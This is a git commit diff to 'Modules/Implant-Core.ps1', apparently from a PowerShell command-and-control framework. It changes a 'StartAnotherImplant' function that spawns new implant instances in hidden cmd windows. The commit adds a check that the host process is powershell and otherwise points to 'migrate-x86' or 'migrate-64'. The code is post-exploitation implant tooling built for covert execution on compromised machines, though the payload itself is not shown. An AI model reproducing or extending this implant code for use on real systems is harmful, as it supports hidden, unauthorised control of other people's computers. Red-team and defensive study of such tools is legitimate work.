Updated startanotherimplant to prompt if not running powershell.exe

pandadao · Aug 28, 2017 · 7315235 · 7315235
1 parent 8481f6b
commit 7315235
Showing 1 changed file with 7 additions and 3 deletions.
diff --git a/Modules/Implant-Core.ps1 b/Modules/Implant-Core.ps1
@@ -34,10 +34,14 @@ $global:ImpUpgrade = $False
 CheckArchitecture
 CheckVersionTwo
 Function StartAnotherImplant {
-    if ($global:ImpUpgrade) {
-        start-process -windowstyle hidden cmd -args "/c `"$env:windir\sysnative\windowspowershell\v1.0\$payload`""
+    if (($p = Get-Process | ? {$_.id -eq $pid}).name -ne "powershell") {
+        echo "Process is not powershell, try running migrate-x86 or migrate-64"
     } else {
-        start-process -windowstyle hidden cmd -args "/c $payload"
+        if ($global:ImpUpgrade) {
+            start-process -windowstyle hidden cmd -args "/c `"$env:windir\sysnative\windowspowershell\v1.0\$payload`""
+        } else {
+            start-process -windowstyle hidden cmd -args "/c $payload"
+        }
     }
 }
 sal S StartAnotherImplant